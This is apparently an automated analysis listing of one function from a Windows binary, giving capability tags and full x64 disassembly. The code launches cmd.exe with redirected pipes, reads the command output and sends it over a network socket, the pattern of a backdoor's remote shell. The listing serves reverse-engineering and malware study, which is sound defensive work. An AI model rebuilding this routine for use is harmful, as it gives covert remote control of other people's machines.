Function at 0x14000c4c8
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output
Get common file path
Read file on windows
Read pipe

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xf50]
mov eax, 0x1050
call fcn.14002bce0
sub rsp, rax
mov rax, qword [0x14003b008]
xor rax, rsp
mov qword [rbp + 0xf40], rax
xor esi, esi
mov dword [rbp - 0x68], 0x18
mov ebx, edx
mov qword [rbp - 0x60], rsi
mov edi, ecx
mov qword [rsp + 0x70], rsi
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x68], rsi
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x60], rsi
xor r9d, r9d
mov qword [rsp + 0x78], rsi
lea r8, [rbp - 0x68]
mov dword [rbp - 0x58], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x14000c7cd
xor r9d, r9d
lea r8, [rbp - 0x68]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x14000c7cd
mov rax, qword [rsp + 0x68]
lea rcx, [rbp + 0x28]
xor edx, edx
mov qword [rbp + 0x20], rax
mov r8d, 0x104
call fcn.140015d40
lea eax, [rsi + 2]
lea rcx, [rbp + 0x130]
lea r8, [rbp + 0x20]
lea r9d, [rax + 0x7e]
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [r8 + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [r8 + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [r8 + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [r8 + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [r8 + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [r8 + 0x70]
add r8, r9
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x14000c58c
mov rax, qword [r8]
lea rdx, [rbp + 0x130]
mov qword [rcx], rax
mov eax, dword [r8 + 8]
mov dword [rcx + 8], eax
mov ecx, ebx
call qword [0x14003d360]
mov edx, 0x104
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, str.cmd.exe
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor edx, edx
mov dword [rbp - 0x50], esi
lea rcx, [rbp - 0x48]
lea r8d, [rdx + 0x60]
call fcn.140015d40
xor eax, eax
mov qword [rbp - 0x80], rsi
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [rsp + 0x70]
lea rcx, [rbp + 0x240]
mov qword [rbp], rax
xor r9d, r9d
mov rax, qword [rsp + 0x78]
xor r8d, r8d
mov qword [rbp + 0x10], rax
xor edx, edx
mov qword [rbp + 8], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
mov dword [rbp - 0x50], 0x68
mov dword [rbp - 0x14], 0x101
mov word [rbp - 0x10], si
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000c7cd
mov rcx, qword [rbp - 0x80]
lea rdx, [rsp + 0x54]
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x54], esi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x14000c777
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [rsp + 0x50], esi
jbe 0x14000c75d
xor edx, edx
lea rcx, [rbp + 0x450]
mov r8d, 0xaf0
call fcn.140015d40
mov rcx, qword [rsp + 0x60]
lea r9, [rsp + 0x58]
mov r8d, 0xaf0
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0x450]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r9d, dword [rsp + 0x58]
lea rax, [rbp + 0x450]
mov r8b, 0xc
mov qword [rsp + 0x20], rax
mov dl, reloc.WS2_32.dll_send
mov ecx, edi
call qword [0x14003d388]
mov eax, dword [rsp + 0x58]
sub dword [rsp + 0x50], eax
jne 0x14000c6ff
mov rcx, qword [rbp - 0x80]
lea rdx, [rsp + 0x54]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsp + 0x54], 0x103
je 0x14000c6d7
mov ecx, ebx
call qword [0x14003d378]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xf40]
xor rcx, rsp
call fcn.140012de0
mov rbx, qword [rsp + 0x1080]
add rsp, 0x1050
pop rdi
pop rsi
pop rbp
ret